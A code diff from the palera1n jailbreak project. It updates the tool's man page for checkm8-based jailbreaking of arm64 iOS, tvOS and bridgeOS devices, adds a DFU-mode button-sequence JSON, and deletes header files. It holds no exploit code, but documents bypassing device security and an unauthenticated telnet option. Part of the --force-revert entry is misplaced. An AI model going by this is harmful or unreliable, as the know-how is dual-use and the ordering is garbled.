+.\" Copyright (c) 2026 Nick Chan
 .\" SPDX-License-Identifier: MIT
 .\"
-.Dd "2 July 2023"
+.Dd "23 December 2024"
 .Dt palera1n 1
 .Sh NAME
 .Nm palera1n
-.Nd iOS 15.0-16.5.1 arm64 iOS/iPadOS jailbreaking tool
+.Nd arm64 iOS/iPadOS/tvOS 15-26, bridgeOS 5-10 jailbreaking tool
 .Sh SYNOPSIS
 .Nm
-.Op Fl dDEhILnpRsSvV
+.Op Fl hvlfcBsTVpednq
 .Op Fl e Ar Boot arguments
+.Op Fl k Ar Pongo image
 .Op Fl o Ar overlay file
 .Op Fl r Ar ramdisk file
 .Op Fl K Ar KPF file
-.Op Fl -version
+.Op Fl -cli
+.Op Fl -gui
+.Op Fl -tui
 .Op Fl -force-revert
+.Op Fl -dark-blockchain
+.Op Fl -force-enable-ssv
 .Sh DESCRIPTION
 .Nm
-jailbreaks any iOS/iPadOS device with an arm64 (arm64e excluded) on iOS 15.0-16.5.1,
+jailbreaks an arm64 (arm64e excluded) iOS/iPadOS/tvOS 15-26, bridgeOS 5-10 device,
 utilizing the
 .Em checkm8
 bootROM exploit.
 .Pp
+.Nm
+provides rootful and rootless jailbreak modes.
+On iOS/iPadOS 15.0 and later,
+.Nm
+is able to jailbreak the device in fakefs-rootful mode, where /
+is writable, as well as rootless mode, where / cannot be written to.
+On tvOS and bridgeOS,
+only rootful is supported. On versions where fakefs-rootful is not
+applicable, palera1n modifies the actual root filesystem instead
+of making a fakefs.
+.Pp
 Due to the nature of the
 .Em checkm8
 exploit,
@@ -46,7 +62,7 @@ In the remainder of this document, the term "iOS" and "iPadOS" will be used inte
 as the difference is negligible as far as the jailbreak is concerened.
 .Pp
 .Sh SUPPORTED DEVICES
-As described above, arm64 iOS 15.0-16.5.1 devices are supported, here is an explicit
+As described above, arm64 iOS 15.0-26.0 devices are supported, here is an explicit
 list of supported devicecs:
 
 .Bl -tag -compact
@@ -76,35 +92,142 @@ list of supported devicecs:
 .It iPod Touch (7th generation)
 .El
 
-Support for other arm64 Darwin devices, including Apple TV, HomePod and iBridge
-on Darwin 21 and above could be added, but they are currently unsupported.
+.Bl -tag -compact
+.It Apple TV HD
+.It Apple TV 4K (1st generation)
+.El
+
+.Bl -tag -compact
+.It Apple T2 iMacPro1,1
+.It Apple T2 MacBookPro15,1
+.It Apple T2 MacBookPro15,2
+.It Apple T2 Macmini8,1
+.It Apple T2 MacPro7,1
+.It Apple T2 MacBookPro15,3
+.It Apple T2 MacBookAir8,1
+.It Apple T2 MacBookPro15,4
+.It Apple T2 MacBookAir8,2
+.It Apple T2 MacBookPro16,1
+.It Apple T2 MacBookAir9,1
+.It Apple T2 MacBookPro16,2
+.It Apple T2 iMac20,1
+.It Apple T2 iMac20,2
+.It Apple T2 MacBookPro16,3
+.It Apple T2 MacBookPro16,4
+.El
+
+Support for the A8 HomePod on Darwin 21 and above could be added,
+but it is currently unsupported.
 
 arm64e devices will NEVER be supported.
 
+
+
 .Sh OPTIONS
 .Bl -tag -width -indent
-.It Fl -version
+
+
+
+.It Fl h , -help
+Prints usage information.
+
+.It Fl v , -version
 Prints the program version and exit.
+
+.It Fl -cli
+Run in command line interface mode.
+
+.It Fl -gui
+Run in graphical user interface mode.
+.Pp
+This argument is available only in builds compiled with
+.Cm WITH_GUI
+support enabled.
+
+.It Fl -tui
+Run in text user interface mode.
+.Pp
+This argument is available only in builds compiled with
+.Cm WITH_TUI
+support enabled.
+
+.It Fl -dark-blockchain
+Runs the jailbreak in hacker mode.
+
 .It Fl -force-revert
 Remove the jailbreak while keeping user data. Some jailbreak files may remain
-after running this command. Additionally, jailbreak apps will remain on the 
+after running this command. Additionally, jailbreak apps may remain on the
 home screen on for a while even when the files are deleted as the icon cache
-still has their icons.
-.It Fl d , -demote
-Set the effective production fuse to 0, so as to enable hardware debugging features.
-.It Fl D , -dfuhelper
-Execute the DFU helper to guide the user into putting the device into DFU mode
-then exit.
-.It Fl e , -boot-args Ar boot arguments
-Specify custom XNU kernel command line. The
-.Em rootdev=md0
-argument is used by
-.Nm
-and cannot be overriden.
-.It Fl E , -enter-recovery
-Exit after entering recovery mode.
-.It Fl h , -help
-Prints help text.
+still has their icons. When used with
+
+.It Fl -force-enable-ssv
+Force the jailbreak to detect Signed System Volume (SSV) as being required on
+the system. This option provides compatibility with previous version of palera1n
+that incorrectly detect SSV as being required on tvOS 18.2 and above. When using
+this option with
+.Fl f , -fakefs ,
+the jailbreak will behave as if fakefs is required, which allows the user to boot
+into fakefs possibly created by previous versions of palera1n, or remove it if
+the
+.Fl -force-revert
+option is specified as well.
+(It is technically possible to setup fakefs using this option as well, but this
+is not a supported scenario)
+
+.Fl f , -rootful ,
+this will actually boot the device in rootless mode then delete the jailbreak
+files. As a result, using the loader app to install the jailbreak environment
+is not supported when this option is used together with
+.Fl f , -rootful
+\[char46]
+
+.It Fl l , -rootless
+Proceed in rootless mode. This option is only supported on iOS/iPadOS.
+
+.It Fl f , -rootful
+Proceed in rootful mode. Despite its name, this applies to both full, partial fakefs, as well as realfs, and it still applies even when trying to force revert.
+
+.It Fl c , -setup-fakefs
+When used with
+.Fl f , -rootful ,
+creates the new APFS volume required for rootful. Will fail if one already exists.
+This flag is supported on iOS/iPadOS 15.0 or later and tvOS 18.2 or later, as they
+require fakefs for rootful.
+
+.It Fl B , -setup-fakefs-partial
+Like
+.Fl c , -setup-fakefs
+but the size of the created fakefs is smaller at the expense of having unwritable
+parts in rarely-written paths. When jailbreaking 16 GB devices, this option must be used
+when setting up fakefs for rootful, as they do not have enough storage for full fakefs.
+This flag is supported on iOS/iPadOS 15.0 or later and tvOS 18.2 or later, as they
+require fakefs for rootful.
+
+.It Fl s , -safe-mode
+Enter safe mode. An alert will be displayed on iOS/iPadOS/tvOS. Jailbreak daemons nor early boot executable files
+specified (see
+.Sy FILES
+section below) will be executed. The loader app and the built in SSH server can still be used,
+as well as any jailbreak-specific apps you have installed.
+
+.It Fl T , -telnetd
+Enable the TELNET daemon on port 46, all interfaces. Please note that there is no authentication and is therefore insecure.
+
+.It Fl V , -verbose-boot
+Boots the device in verbose mode, allowing boot logs to be seen.
+
+.It Fl p , -early-exit
+Exit after booting into a clean PongoOS shell.
+
+.It Fl e , -extra-bootargs Ar boot arguments
+Specify custom XNU kernel command line. Additionally, the
+.Em wdt=-1
+argument is used during fakefs setup.
+.It Fl k , -override-pongo Ar pongo file
+Override PongoOS image. The raw image, named
+.Em Pongo.bin
+when built, should be used. PongoOS 2.6.0 or later is required.
+
 .It Fl K , -override-kpf Ar KPF file
 Override the kernel patchfinder PongoOS module. The module is required to support setting
 root filesystem in paleinfo with
@@ -112,19 +235,7 @@ root filesystem in paleinfo with
 command. If in doubt, use
 .Sy https://github.com/palera1n/PongoOS
 iOS15 branch or your own fork of it.
-.Fl L , -jbinit-log-to-file
-Makes jbinit log to
-.Em /cores/jbinit.log
-This file may be viewed from sandboxed applications while jailbroken.
-.It Fl l , -rootless
-Proceed in rootless mode, this is the default when neither
-.Fl l , -rootless
-and
-.Fl f , -fakefs
-is specified.
->>>>>>> a8e6075 (paleinfo v2)
-.It Fl n , -exit-recovery
-Exit recovery mode and exit.
+
 .It Fl o , -override-overlay Ar overlay file
 Specify the path to a custom overlay file, which is then mounted onto /cores/binpack
 during boot, if the default ramdisk is used. The default ramdisk expects the overlay
@@ -134,58 +245,230 @@ at the root of it, as well as a dmg named
 .Em loader.dmg
 at the root of it. Otherwise, the device will not boot. It is also expected that it
 contains a shell, a ssh server, and various command line utilities.
-.It Fl p , -pongo-shell
-Exit after booting into a clean PongoOS shell
-.It Fl P , -pongo-full
-Like
-.Fl p , -pongo-shell
-but default images and options have been uploaded and applied respectively.
+
 .It Fl r , -override-ramdisk Ar ramdisk file
-Override the ramdisk. At a very minimum, it should contain a
-.Em /sbin/launchd
+Override the ramdisk. At a very minimum, it should contain
+.Em /cores/ploosh
 as well as a fake dyld
 .Em /usr/lib/dyld
 where the logic is expected to be in.
-.It Fl R , -reboot-device
-Reboot device in normal mode and exit.
-.It Fl s , -safe-mode
-Enter safe mode. An alert will be displayed. Jailbreak daemons nor early boot executable files
-specified (see
-.Sy FILES
-section below) will be executed. The loader app and the built in SSH server can still be used,
-as well as any jailbreak-specific apps you have installed.
-.It Fl S , -no-colors
-Disable colors on the command line. External programs like checkra1n clones may still output colors.
-.It Fl v , -debug-logging
-Enable debug logging. The option may be repeated for extra verbosity.
-.It Fl V , -verbose-boot
-Boots the device in verbose mode, allowing boot logs to be seen.
-.It Fl I , -device-info
-Prints info about device and exits.
+
+.It Fl d , -debug-logging
+Enable debug logging. Supports up to 5 levels of verbosity, with 5 being the most verbose.
+
+.It Fl n , -no-colors
+Disable colors on the command line.
+
+.It Fl q , -quick
+When used with
+.Fl -tui ,
+or
+.Fl -gui ,
+the interfaces will automate the process of entering DFU mode, without needing to press the interface buttons for every step of the process.
+.Pp
+This variable is available only in builds compiled with
+.Cm WITH_GUI
+or
+.Cm WITH_TUI
+support enabled.
+
+
 .El
 .Sh ENVIRONMENTAL VARIABLES
 .Bl -tag -width -indent
-.It Ev TMPDIR
-This environmental variable should contain the a directory for temporary
-files. Without the
-.Fl i , -override-checkra1n
-option, files must be executable from it as the built-in checkra1n file
-is extracted and executed here. When not set, /tmp is used.
+
+
+
+.It Ev RA1N_ABORT_TIMEOUT
+Set a custom timeout value (0 to 999999999) for the exploit abort timer.
+While the default value is sufficient for standard platforms (Intel or Apple Silicon),
+this variable allows timing adjustments on specific environments such as Linux (AMD)
+or Raspberry Pi (ARM64), where the exploit may fail due to platform-specific USB
+stack behavior.
+.Pp
+E.g. Raspberry Pi 5:
+.Em RA1N_ABORT_TIMEOUT=1000000
+.Pp
+This variable is available only in builds compiled with
+.Cm WITH_CIDERRAIN
+support enabled.
+
+.It Ev RA1N_CLI
+Equivalent to using the
+.Fl -cli
+option.
+
+.It Ev RA1N_GUI
+Equivalent to using the
+.Fl -gui
+option.
+.Pp
+This variable is available only in builds compiled with
+.Cm WITH_GUI
+support enabled.
+
+.It Ev RA1N_TUI
+Equivalent to using the
+.Fl -tui
+option.
+.Pp
+This variable is available only in builds compiled with
+.Cm WITH_TUI
+support enabled.
+
+.It Ev   RA1N_DARK_BLOCKCHAIN
+Equivalent to using the
+.Fl -dark-blockchain
+option.
+
+.It Ev RA1N_FORCE_REVERT
+Equivalent to using the
+.Fl -force-revert
+option.
+
+.It Ev RA1N_FORCE_ENABLE_SSV
+Equivalent to using the
+.Fl -force-enable-ssv
+option.
+
+.It Ev RA1N_ROOTLESS
+Equivalent to using the
+.Fl l , -rootless
+option.
+
+.It Ev RA1N_ROOTFUL
+Equivalent to using the
+.Fl f , -rootful
+option.
+
+
+.It Ev RA1N_SETUP_FAKEFS
+Equivalent to using the
+.Fl c , -setup-fakefs
+option.
+
+.It Ev RA1N_SETUP_FAKEFS_PARTIAL
+Equivalent to using the
+.Fl B , -setup-fakefs-partial
+option.
+
+.It Ev RA1N_SAFE_MODE
+Equivalent to using the
+.Fl s , -safe-mode
+option.
+
+.It Ev RA1N_TELNETD
+Equivalent to using the
+.Fl T , -telnetd
+option.
+
+.It Ev RA1N_VERBOSE_BOOT
+Equivalent to using the
+.Fl V , -verbose-boot
+option.
+
+.It Ev RA1N_EARLY_EXIT
+Equivalent to using the
+.Fl p , -early-exit
+option.
+
+.It Ev RA1N_EXTRA_BOOTARGS
+Equivalent to using the
+.Fl e , -extra-bootargs
+option.
+
+.It Ev RA1N_OVERRIDE_PONGO
+Equivalent to using the
+.Fl k , -override-pongo
+option.
+
+.It Ev RA1N_OVERRIDE_KPF
+Equivalent to using the
+.Fl K , -override-kpf
+option.
+
+.It Ev RA1N_OVERRIDE_OVERLAY
+Equivalent to using the
+.Fl o , -override-overlay
+option.
+
+.It Ev RA1N_OVERRIDE_RAMDISK
+Equivalent to using the
+.Fl r , -override-ramdisk
+option.
+
+.It Ev RA1N_DEBUG_LOGGING
+Equivalent to using the
+.Fl d , -debug-logging
+option. Supports up to 5 levels of verbosity, with 5 being the most verbose.
+e.g. to enable level 3 debug logging, use
+.Em RA1N_DEBUG_LOGGING=3
+
+.It Ev RA1N_NO_COLORS
+Equivalent to using the
+.Fl n , -no-colors
+option.
+
+.It Ev RA1N_QUICK
+Equivalent to using the
+.Fl q , -quick
+option.
+.Pp
+This variable is available only in builds compiled with
+.Cm WITH_GUI
+or
+.Cm WITH_TUI
+support enabled.
+
+
 .El
 .Sh EXAMPLES
+
+
+
 To (re-)jailbreak in rootless mode:
 .Pp
-.Dl "palera1n"
+.Dl "palera1n -l"
 .Pp
+
+To setup fakefs for rootful mode:
+.Pp
+.Dl "palera1n -fc"
+.Pp
+After the device has rebooted into recovery mode, follow the following example.
+.Pp
+
+To re-jailbreak in rootful mode:
+.Pp
+.Dl "palera1n -f"
+.Pp
+
+To remove the jailbreak in rootful mode:
+.Pp
+.Dl "palera1n --force-revert -f"
+.Pp
+
 To remove the jailbreak in rootless mode:
 .Pp
 .Dl "palera1n --force-revert"
 .Pp
-To exit recovery mode:
+
+To verbose boot in rootful mode:
 .Pp
-.Dl "palera1n -n"
+.Dl "palera1n -Vf"
 .Pp
+
+To create a partial fakefs with bind mounts:
+.Pp
+.Dl "palera1n -Bf"
+.Pp
+
+
+.El
 .Sh CAVEATS
+
+
+
 .Pp
 .Em -v
 is not a real XNU boot argument. It is interpreted by iBoot. However, since XNU
@@ -194,6 +477,8 @@ To verbose boot, use the
 .Fl V , -verbose-boot
 option when jailbreaking.
 .Pp
+Fakefs takes up around 5-10 GB of storage, and takes up to 10 minutes to setup.
+.Pp
 iOS 15.0 requires DER entitlements, and iOS 15.1 requires hash agility in code signatures.
 As a result, binaries with the old code signature format need to be resigned with a recent
 version of the Procursus fork of
@@ -201,17 +486,39 @@ version of the Procursus fork of
 before they can be ran on a device jailbroken with
 .Nm
 \[char46]
-.Sh POST INSTALLATION
-The palera1n loader app will take up to 30 seconds to appear on the homescreen after the
+.Pp
+When using rootful mode, the
+.Fl f , -rootful
+flag must be specified at all times. It does not matter whether you want to create fakefs,
+create partial fakefs, rejailbreak or remove jailbreak.
+.Pp
+Due to a stock bug, using the
+.Fl V , -verbose-boot
+option might cause some versions for tvOS to crash and not boot.
+.Pp
+Offical Apple USB-C cables as well as some other USB-C cables cannot be used to enter DFU mode.
+USB-A cable with male USB-C to female USB-A adapter works fine.
+.Sh POST INSTALLATION (iOS/iPadOS)
+The palera1n loader app will take up to 1 minute to appear on the homescreen after the
 device has booted. If it does not appear, you can try using the shortcut:
 .Pp
 .Lk https://www.icloud.com/shortcuts/8cd5f489c8854ee0ab9ee38f2e62f87d
 .Pp
-to open it. After opening the loader app, press install to install a bootstrap as well as
-the
-.Em Sileo
-package manager.
-You can install other package managers from settings of the loader app.
+to open it. After opening the loader app, select a package manager to install.
+This will also bootstrap your device.
+.Pp
+A built-in SSH server runs on port 44 on loopback interfaces.
+.Sh POST INSTALLATION (tvOS)
+.Pp
+The palera1n loader app will appear on homescreen. Open the loader and select a package manager to install.
+This will also bootstrap your device.
+.Pp
+A built-in SSH server runs on port 44 on all interfaces.
+.Sh POST INSTALLATION (bridgeOS)
+.Pp
+A built-in SSH server runs on port 44 on all interfaces.
+.Pp
+Bootstrapping is currently not supported on this device.
 .Sh FILES
 During the jailbreak process, a temporary filesystem is mounted on /cores as a place
 to stash jailbreak files needed during the boot process. No files are ever written
@@ -220,43 +527,91 @@ loader app to install additional jailbreak files.
 
 .Bl -tag -width "/var/jb/Library/LaunchDaemons"
 .It Pa /cores
-The location of the temporary filesystem where jailbreak files are stash during boot.
-.It Pa /cores/jbinit.log
-When
-.Fl L
-is used, the log file of jbinit.
-The log file of jbinit.
+The location of the temporary filesystem where jailbreak files are stashed during boot.
+.It Pa /Library/LaunchDaemons
+The directory where jailbreak-specific
+.Xr launchd.plist 5
+property list files should be placed on rootful.
 .It Pa /var/jb/Library/LaunchDaemons
 The directory where jailbreak-specific
 .Xr launchd.plist 5
 property list files should be placed on rootless.
+.It Pa /etc/rc.d
+The directory where executable files that needs to be executed during boot, before
+daemons are launched, are placed on rootful. They are executed after all filesystems
+has been mounted.
 .It Pa /var/jb/etc/rc.d
 The directory where executable files that needs to be executed during boot, before
 daemons are launched, are placed on rootless. They are executed after all filesystems
 has been mounted.
+
+
+
 .El
 .Sh BUGS
+
+
+
 .Nm
-may crash if the machine it is running on:
+may crash if the machine it is running on has non-compliant USB devices plugged in.
 .Pp
-.Dl "- Has non-compliant USB devices plugged in"
+.Nm
+will fail to initialize on Linux when there are no USB devices plugged in.
+Usually this is not a problem on PCs since the built-in root hubs are also
+USB devices. However, on platforms such as Apple Silicon Macs in Linux, since
+there are no built-in USB hubs, at least one USB device needs to be manually
+plugged in for palera1n to be initialized.
+
 .Pp
 The exploit may also work less reliably on some hosts, like AMD desktops, or some MediaTek devices.
+
 .Pp
-The device may randomly crash and reboot due to launchd exiting with code 7.
-.Sh NOTES
-.Nm
-injects a dylib into launchd to allow the
-.Sy launchctl runstats
-command to be used on the device.
+The built-in SSH server might be not accessible with password after bootstrapping rootful,
+since the bootstrap uses a custom crypt() function that is not supported
+by the built-in SSH server.
+
+.Pp
+There are no DFU instructions for iBridge T2 as there are no known ways to connect to the T2's USB
+interface when macOS has been booted.
+
+
+
 .Sh DEPRECATED AND REMOVED FUNCTIONALITY
+
+
+
+There was an option in
+.Nm
+to force create the fakefs even when one already exists (which would overwrite
+the existing fakefs), by setting the palerain_option_setup_rootful_forced flag
+in palera1n flags. This option was removed because using
+.Fl -force-revert
+and
+.Fl c
+at the same time has exactly the same effect.
+
 .Pp
-The fakefs functionality was removed.
+The hook that enabled
+.Sy launchctl runstats
+has been removed, since it leaks memory in launchd.
+.Pp
+
+.Fl f, -fakefs
+has been renamed to
+.Fl f, -rootful
+due to its ambiguity. As it supports both fakefs and realfs on certain platforms.
 .Sh SEE ALSO
 .Xr launchd 8
 .Xr launchd.plist 5
 .Xr ldid 1
+.Xr p1ctl 8
+
+
+
 .Sh HISTORY
+
+
+
 The
 .Nm
 jailbreak was first written by Nebula and Mineek on September 26, 2022, as a shell
@@ -266,4 +621,5 @@ December 13, 2022. Later, the first attempt to rewrite palera1n into C begins on
 01 2023. The
 .Nm
 utility described here is the second attempt, which first started on January 16, 2023,
-using checkra1n 1337 and the plush KPF.
+using checkra1n 1337 and a custom KPF.
+Something happened on August 15, 2023.

embedded/DFUHelperDeviceInfo.json

@@ -0,0 +1,444 @@
+{
+    "devicemap":{
+        "iPhone6,1":"iphonese",
+        "iPhone6,2":"iphonese",
+        "iPhone7,1":"iphone6s",
+        "iPhone7,2":"iphone6s",
+        "iPhone8,1":"iphone6s",
+        "iPhone8,2":"iphone6s",
+        "iPhone8,4":"iphonese",
+        "iPhone9,1":"iphone7",
+        "iPhone9,2":"iphone7",
+        "iPhone9,3":"iphone7",
+        "iPhone9,4":"iphone7",
+        "iPhone10,1":"iphone8",
+        "iPhone10,2":"iphone8",
+        "iPhone10,4":"iphone8",
+        "iPhone10,5":"iphone8",
+        "iPhone10,3":"iphonex",
+        "iPhone10,6":"iphonex",
+
+        "iPhone11,2":"iphonex",
+        "iPhone11,4":"iphonex",
+        "iPhone11,6":"iphonex",
+        "iPhone11,8":"iphonex",
+        "iPhone12,1":"iphonex",
+        "iPhone12,3":"iphonex",
+        "iPhone12,5":"iphonex",
+        "iPhone12,8":"iphone8",
+
+        "iPad4,1":"ipad",
+        "iPad4,2":"ipad",
+        "iPad4,3":"ipad",
+        "iPad5,3":"ipad",
+        "iPad5,4":"ipad",
+        "iPad6,3":"ipad",
+        "iPad6,4":"ipad",
+        "iPad6,7":"ipad",
+        "iPad6,8":"ipad",
+        "iPad6,11":"ipad",
+        "iPad6,12":"ipad",
+        "iPad7,1":"ipad",
+        "iPad7,2":"ipad",
+        "iPad7,3":"ipad",
+        "iPad7,4":"ipad",
+        "iPad7,5":"ipad",
+        "iPad7,6":"ipad",
+        "iPad7,11":"ipad",
+        "iPad7,12":"ipad",
+
+        "iPad8,1":"ipad",
+        "iPad8,2":"ipad",
+        "iPad8,3":"ipad",
+        "iPad8,4":"ipad",
+        "iPad8,5":"ipad",
+        "iPad8,6":"ipad",
+        "iPad8,7":"ipad",
+        "iPad8,8":"ipad",
+        "iPad8,9":"ipad",
+        "iPad8,10":"ipad",
+        "iPad8,11":"ipad",
+        "iPad8,12":"ipad",
+        "iPad11,3":"ipad",
+        "iPad11,4":"ipad",
+        "iPad11,6":"ipad",
+        "iPad11,7":"ipad",
+
+        "iPad4,4":"ipadmini",
+        "iPad4,5":"ipadmini",
+        "iPad4,6":"ipadmini",
+        "iPad4,7":"ipadmini",
+        "iPad4,8":"ipadmini",
+        "iPad4,9":"ipadmini",
+        "iPad5,1":"ipadmini",
+        "iPad5,2":"ipadmini",
+        "iPod7,1":"ipodtouch",
+        "iPod9,1":"ipodtouch7",
+        "AppleTV5,3":"appletv4",
+        "AppleTV6,2":"appletv4k"
+    },
+    "devicelayout":{
+        "ipodtouch7":{
+            "image_name":"ipodtouch",
+            "image_width":116,
+            "image_height":240,
+            "buttons":{
+                "top":{
+                    "name":"- Top button",
+                    "x":237,
+                    "y":0
+                },
+                "vol_down":{
+                    "name":"Volume down -",
+                    "x":46,
+                    "y":56
+                }
+            },
+            "sequence":"ipodtouch7"
+        },
+        "ipodtouch":{
+            "image_name":"ipodtouch",
+            "image_width":116,
+            "image_height":240,
+            "buttons":{
+                "top":{
+                    "name":"- Top button",
+                    "x":237,
+                    "y":0
+                },
+                "home":{
+                    "name":"Home button -",
+                    "x":89,
+                    "y":190
+                }
+            },
+            "sequence":"iphone-old"
+        },
+        "iphonese":{
+            "image_name":"iphonese",
+            "image_width":119,
+            "image_height":240,
+            "buttons":{
+                "top":{
+                    "name":"- Top button",
+                    "x":237,
+                    "y":0
+                },
+                "home":{
+                    "name":"Home button -",
+                    "x":90,
+                    "y":195
+                }
+            },
+            "sequence":"iphone-old"
+        },
+        "iphone6s":{
+            "image_name":"iphone6s",
+            "image_width":123,
+            "image_height":240,
+            "buttons":{
+                "side":{
+                    "name":"- Side button",
+                    "x":244,
+                    "y":54
+                },
+                "home":{
+                    "name":"Home button -",
+                    "x":90,
+                    "y":195
+                }
+            },
+            "sequence":"iphone6"
+        },
+        "iphone7":{
+            "image_name":"iphone7",
+            "image_width":123,
+            "image_height":240,
+            "buttons":{
+                "side":{
+                    "name":"- Side button",
+                    "x":244,
+                    "y":54
+                },
+                "vol_down":{
+                    "name":"Volume down -",
+                    "x":44,
+                    "y":72
+                }
+            },
+            "sequence":"iphone7"
+        },
+        "iphone8":{
+            "image_name":"iphone8",
+            "image_width":120,
+            "image_height":240,
+            "buttons":{
+                "side":{
+                    "name":"- Side button",
+                    "x":248,
+                    "y":54
+                },
+                "vol_down":{
+                    "name":"Volume down -",
+                    "x":44,
+                    "y":72
+                }
+            },
+            "sequence":"iphone8"
+        },
+        "iphonex":{
+            "image_name":"iphonex",
+            "image_width":121,
+            "image_height":240,
+            "buttons":{
+                "side":{
+                    "name":"- Side button",
+                    "x":246,
+                    "y":62
+                },
+                "vol_down":{
+                    "name":"Volume down -",
+                    "x":44,
+                    "y":70
+                }
+            },
+            "sequence":"iphone8"
+        },
+        "ipad":{
+            "image_name":"ipad",
+            "image_width":170,
+            "image_height":240,
+            "buttons":{
+                "top":{
+                    "name":"- Top button",
+                    "x":266,
+                    "y":0
+                },
+                "home":{
+                    "name":"Home button -",
+                    "x":94,
+                    "y":200
+                }
+            },
+            "sequence":"iphone-old"
+        },
+        "ipadmini":{
+            "image_name":"ipadmini",
+            "image_width":163,
+            "image_height":240,
+            "buttons":{
+                "top":{
+                    "name":"- Top button",
+                    "x":260,
+                    "y":0
+                },
+                "home":{
+                    "name":"Home button -",
+                    "x":92,
+                    "y":200
+                }
+            },
+            "sequence":"iphone-old"
+        },
+        "appletv4":{
+            "image_name":"siriremote",
+            "image_width":79,
+            "image_height":240,
+            "buttons":{
+                "menu":{
+                    "name":"Menu -",
+                    "x":110,
+                    "y":74
+                },
+                "playpause":{
+                    "name":"Play/Pause -",
+                    "x":80,
+                    "y":130
+                }
+            },
+            "sequence":"appletv4"
+        },
+        "appletv4k":{
+            "is_supported": false,
+            "image_name":"atv_std_brd",
+            "image_width":300,
+            "image_height":240,
+            "buttons":{
+                "dfu":{
+                    "name":"-- DFU button",
+                    "x":170,
+                    "y":48
+                }
+            },
+            "sequence":"atv_standard_breakout"
+        }
+    },
+    "sequences":{
+        "ipodtouch7":[
+            {
+                "buttons":[
+
+                ],
+                "description":"Click Start",
+                "duration":1
+            },
+            {
+                "buttons":[
+                    "top",
+                    "vol_down"
+                ],
+                "description":"HOLD Top and Volume down",
+                "duration":4,
+                "action":"reboot"
+            },
+            {
+                "buttons":[
+                    "vol_down"
+                ],
+                "description":"Release Top and KEEP holding Volume down",
+                "duration":10
+            }
+        ],
+        "iphone-old":[
+            {
+                "buttons":[
+
+                ],
+                "description":"Click Start",
+                "duration":1
+            },
+            {
+                "buttons":[
+                    "top",
+                    "home"
+                ],
+                "description":"HOLD Top and Home button",
+                "duration":4,
+                "action":"reboot"
+            },
+            {
+                "buttons":[
+                    "home"
+                ],
+                "description":"Release Top and KEEP holding Home button",
+                "duration":10
+            }
+        ],
+        "iphone6":[
+            {
+                "buttons":[
+
+                ],
+                "description":"Click Start",
+                "duration":1
+            },
+            {
+                "buttons":[
+                    "side",
+                    "home"
+                ],
+                "description":"HOLD Side and Home button",
+                "duration":4,
+                "action":"reboot"
+            },
+            {
+                "buttons":[
+                    "home"
+                ],
+                "description":"Release Side and KEEP holding Home button",
+                "duration":10
+            }
+        ],
+        "iphone7":[
+            {
+                "buttons":[
+
+                ],
+                "description":"Click Start",
+                "duration":1
+            },
+            {
+                "buttons":[
+                    "side",
+                    "vol_down"
+                ],
+                "description":"HOLD Side and Volume down",
+                "duration":4,
+                "action":"reboot"
+            },
+            {
+                "buttons":[
+                    "vol_down"
+                ],
+                "description":"Release Side and KEEP holding Volume down",
+                "duration":10
+            }
+        ],
+        "iphone8":[
+            {
+                "buttons":[
+
+                ],
+                "description":"Click Start",
+                "duration":1
+            },
+            {
+                "buttons":[
+                    "side",
+                    "vol_down"
+                ],
+                "description":"HOLD Side and Volume down",
+                "duration":4,
+                "action":"reboot"
+            },
+            {
+                "buttons":[
+                    "vol_down"
+                ],
+                "description":"Release Side and KEEP holding Volume down",
+                "duration":10
+            }
+        ],
+        "appletv4":[
+            {
+                "buttons":[
+
+                ],
+                "description":"Get Ready",
+                "duration":3
+            },
+            {
+                "buttons":[
+                    "menu",
+                    "playpause"
+                ],
+                "description":"Press and hold Menu and Play/Pause together",
+                "duration":7
+            },
+            {
+                "buttons":[
+
+                ],
+                "description":"Release the buttons",
+                "duration":2
+            }
+        ],
+        "atv_standard_breakout":[
+            {
+                "buttons":[
+
+                ],
+                "description":"Get Ready",
+                "duration":3
+            },
+            {
+                "buttons":[
+                    "dfu"
+                ],
+                "description":"Press and hold the DFU button",
+                "duration":10,
+                "action":"reboot"
+            }
+        ]
+    }
+}

include/ANSI-color-codes.h

@@ -1,84 +0,0 @@
-/*
- * This is free and unencumbered software released into the public domain.
- *
- * For more information, please refer to <https://unlicense.org>
- */
-
-#ifndef ANSI_COLOR_CODES_H
-#define ANSI_COLOR_CODES_H
-
-//Regular text
-#define BLK "\033[0;30m"
-#define RED "\033[0;31m"
-#define GRN "\033[0;32m"
-#define YEL "\033[0;33m"
-#define BLU "\033[0;34m"
-#define MAG "\033[0;35m"
-#define CYN "\033[0;36m"
-#define WHT "\033[0;37m"
-
-//Regular bold text
-#define BBLK "\033[1;30m"
-#define BRED "\033[1;31m"
-#define BGRN "\033[1;32m"
-#define BYEL "\033[1;33m"
-#define BBLU "\033[1;34m"
-#define BMAG "\033[1;35m"
-#define BCYN "\033[1;36m"
-#define BWHT "\033[1;37m"
-
-//Regular underline text
-#define UBLK "\033[4;30m"
-#define URED "\033[4;31m"
-#define UGRN "\033[4;32m"
-#define UYEL "\033[4;33m"
-#define UBLU "\033[4;34m"
-#define UMAG "\033[4;35m"
-#define UCYN "\033[4;36m"
-#define UWHT "\033[4;37m"
-
-//Regular background
-#define BLKB "\033[40m"
-#define REDB "\033[41m"
-#define GRNB "\033[42m"
-#define YELB "\033[43m"
-#define BLUB "\033[44m"
-#define MAGB "\033[45m"
-#define CYNB "\033[46m"
-#define WHTB "\033[47m"
-
-//High intensty background 
-#define BLKHB "\033[0;100m"
-#define REDHB "\033[0;101m"
-#define GRNHB "\033[0;102m"
-#define YELHB "\033[0;103m"
-#define BLUHB "\033[0;104m"
-#define MAGHB "\033[0;105m"
-#define CYNHB "\033[0;106m"
-#define WHTHB "\033[0;107m"
-
-//High intensty text
-#define HBLK "\033[0;90m"
-#define HRED "\033[0;91m"
-#define HGRN "\033[0;92m"
-#define HYEL "\033[0;93m"
-#define HBLU "\033[0;94m"
-#define HMAG "\033[0;95m"
-#define HCYN "\033[0;96m"
-#define HWHT "\033[0;97m"
-
-//Bold high intensity text
-#define BHBLK "\033[1;90m"
-#define BHRED "\033[1;91m"
-#define BHGRN "\033[1;92m"
-#define BHYEL "\033[1;93m"
-#define BHBLU "\033[1;94m"
-#define BHMAG "\033[1;95m"
-#define BHCYN "\033[1;96m"
-#define BHWHT "\033[1;97m"
-
-//Reset
-#define CRESET "\033[0m"
-#define COLOR_RESET "\033[0m"
-
-#endif

include/palerain.h

@@ -1,231 +0,0 @@
-#ifndef PALERAIN_H
-#define PALERAIN_H
-
-#if defined(__APPLE__)
-#define NSIG	__DARWIN_NSIG
-#endif
-
-#include "xxd-embedded.h"
-#include "paleinfo.h"
-#include <stdbool.h>
-#include <stdint.h>
